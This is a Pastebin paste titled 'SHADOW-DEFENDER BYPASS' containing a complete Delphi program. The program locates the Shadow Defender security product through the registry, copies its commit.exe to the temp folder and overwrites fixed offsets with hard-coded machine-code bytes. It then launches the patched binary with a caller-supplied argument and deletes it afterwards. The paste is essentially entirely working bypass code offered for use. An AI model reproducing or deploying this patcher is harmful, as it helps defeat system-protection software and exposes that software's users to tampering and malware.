Pirate-inc

SHADOW-DEFENDER BYPASS

Jul 17th, 2012
487
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Delphi 2.02 KB | None | 0 0
  1. program demo;
  2.  
  3. // pirate-inc (c) : [email protected]
  4.  
  5. {$r *.res}
  6.  
  7. uses
  8.   windows,shellapi;
  9. var
  10. one_data : array [0..6] of byte = ($90,$90,$90,$90,$90,$39,$DB);
  11. one_addr : cardinal = $00002D76;
  12.  
  13. tow_data : array [0..33] of byte = ($56,$FF,$15,$E8,$F2,$43,$00,$68,$E8,$03,$00,$00,$56,$FF,$15,$20,$F2,$43,$00,$A9,$02,$01,$00,$00,$75,$ED,$6A,$00,$FF,$15,$F8,$F0,$43,$00);
  14. tow_addr : cardinal = $00002E4E;
  15.  
  16. mov_data : byte = $89;
  17. mov_addr : cardinal = $0000268E;
  18.  
  19. ini_data : array [0..02] of byte = ($89,$DE,$75);
  20. ini_addr : cardinal = $00002A3E;
  21.  
  22. function __loader (param : string):bool;
  23. var
  24. hshadow : hkey;
  25. vshadow,tempdir : array [ 0..255] of char;
  26. rshadow,temppath : string;
  27. written : dword;
  28. readden : integer;
  29. hfile : cardinal;
  30.  
  31. begin
  32. result := false;
  33. if regopenkeyex(HKEY_LOCAL_MACHINE,'Software\Shadow Defender',0,KEY_ALL_ACCESS,hshadow) <> 0 then exit;
  34. if regqueryvalueex(hshadow,'Path',nil,nil,addr (vshadow),addr (readden)) <> 0 then exit;
  35. rshadow := string (vshadow) + '\commit.exe';
  36. gettemppath (max_path,addr (tempdir));
  37. temppath := string (tempdir) + 'commit.exe';
  38. copyfile (pansichar (rshadow),pansichar (temppath),false);
  39.  
  40. hfile := createfile (pansichar (temppath),GENERIC_WRITE,FILE_SHARE_WRITE,nil,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0) ;
  41. if hfile = 0 then exit;
  42. setfilepointer (hfile,one_addr,nil,FILE_BEGIN);
  43. if writefile(hfile,one_data,length (one_data),written,nil) = false then exit;
  44. setfilepointer (hfile,tow_addr,nil,FILE_BEGIN);
  45. if writefile(hfile,tow_data,length (tow_data),written,nil) = false then exit;
  46. setfilepointer (hfile,mov_addr,nil,FILE_BEGIN);
  47. if writefile(hfile,mov_data,1,written,nil) = false then exit;
  48. setfilepointer (hfile,ini_addr,nil,FILE_BEGIN);
  49. if writefile(hfile,ini_data,length (ini_data),written,nil) = false then exit;
  50. closehandle (hfile);
  51. shellexecute (0,'open',pansichar (temppath),pansichar (param),nil,sw_show);
  52. while deletefile (pansichar (temppath)) = false do  sleep (1);
  53. result := true;
  54. end;
  55.  
  56. begin
  57. if paramcount > 0 then __loader (paramstr(1));
  58. end.
Advertisement
Add Comment
Please, Sign In to add comment